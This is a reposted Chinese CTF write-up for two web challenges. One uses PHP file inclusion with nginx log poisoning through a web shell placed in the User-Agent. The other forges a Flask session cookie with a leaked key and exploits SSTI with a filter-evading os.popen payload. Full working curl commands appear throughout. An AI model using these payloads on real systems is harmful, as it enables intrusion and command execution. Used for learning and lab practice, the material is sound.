关注

SWPUCTF 2025 秋季新生赛wp2

ezez_include(LEI)

猜测是一个读取数据库文件的功能

读一下,得到,说明存在LFI

有/bin/bash,确定是linux系统,读一下nginx配置文件,得到网站根目录是/var/www/html,入口文件时index.php

然后用 php://filter 读取 index.php 源码,php://filter是php的输入输出流,可以读取文件内容而不执行。配合 convert.base64-encode 会把文件转成 base64 编码返回,避免被 PHP 解析。解码后就能看到完整源码

php://filter/convert.base64-encode/resource=index.php
      ⬆过滤器链     ⬆具体过滤器   ⬆资源路径标识=文件名

去解码

发现漏洞,include($file)文件包含函数没有过滤,直接把我们输入的参数,并把文件内容当作 PHP 代码执行

所以接下来思路:把马写到日志里面,然后include读并执行log,实现rce

看一下源码,是POST,表名叫nss

接下来用尝试curl发一个http请求

curl -X POST "http://node1.anna.nssctf.cn:21789/" -d "nss=../../../../etc/passwd"

成功回显,开始注入

尝试传马,把马写在UA里面

curl -A "<?php system(\$_GET['cmd']); ?>" -X POST "http://node1.anna.nssctf.cn:21789/" -d "nss="

-A:改User-Agent字段
-X POST+url:POST格式+目标网页
-d "nss=" 发送一个空的 POST 数据

执行id看一下我是谁,并且看一下日志,传成功了

curl -X POST "http://node1.anna.nssctf.cn:21789/?cmd=id" -d "nss=../../../../var/log/nginx/access.log"

我是www-data

看目录

curl -X POST "http://node1.anna.nssctf.cn:21789/?cmd=ls%20/" -d "nss=../../../../var/log/nginx/access.log"


有东西!

直接猫一下

curl -X POST "http://node1.anna.nssctf.cn:21789/?cmd=cat%20/ffffflalalallalalalalalalalg" -d "nss=../../../../var/log/nginx/access.log"

拿到flag

我是复读机

先dirsearch扫描一下

发现一个robots.txt页面,提示了一个路径

根据路径找到了输入框

输入1跳到了/forbidden2页面,提示权限不足,猜测还有forbidden1等,试一下

f2:

f1:

f3:

view-source这几个页面,在f2里面看到一个密钥

whatweb扫一下:

有werkzeug(flash的http工具),还有session,应该是一个flask(基于python的web框架)

Flask的session默认存储在cookie里:

格式大致如下:

eyJ1c2VyIjoiZ3Vlc3QifQ.afmRoQ.dd80CG5bxURHDXLCHppd1rZjMGU

由三部分组成,用 . 隔开:

部分内容说明
第1部分eyJ1c2VyIjoiZ3Vlc3QifQBase64 编码的 JSON 数据
第2部分afmRoQ时间戳
第3部分dd80CG5bxURHDXLCHppd1rZjMGU签名(用 SECRET_KEY 生成)

我们猜测这个密钥就是是secretkey

(curl的详细用法)

先看一眼session

curl -sI http://node1.anna.nssctf.cn:23973/ | grep -i "set-cookie"

当前身份是guest

用flask-unsign伪造一个admin的session

flask-unsign --sign --cookie "{'user':'admin'}" --secret "S4p3r_6arth_1s_Burning"

用伪造的session访问/Up1oAds

(中间换环境了,现在的环境是28849)

curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.afoBQA.RbfEL8w5Ae2M1V4S8Ul9lT0aXDI" \
  http://node1.anna.nssctf.cn:28849/Up1oAds

页面回显完整的表单,说明admin进入成功

测试是否存在ssti漏洞

curl -X POST \
  -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.afoBQA.RbfEL8w5Ae2M1V4S8Ul9lT0aXDI" \
  -d "payload={{7*7}}" \
  http://node1.anna.nssctf.cn:28849/render

{{7*7}} 被计算为 49,证明存在 SSTI(服务端模板注入) 漏洞

最终payload

 curl -X POST \
  -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.afoBQA.RbfEL8w5Ae2M1V4S8Ul9lT0aXDI" \
  -d "payload={{g['po''p']['__g''lobals__']['__b''uiltins__']['__imp''ort__']('o''s')['po''pen']('cat /f*')['r''ead']()}}" \
  http://node1.anna.nssctf.cn:28849/render

转载自CSDN-专业IT技术社区

原文链接:https://blog.csdn.net/2403_88102829/article/details/160759393

评论

赞0

评论列表

微信小程序
QQ小程序

关于作者

点赞数:0
关注数:0
粉丝:0
文章:0
关注标签:0
加入于:--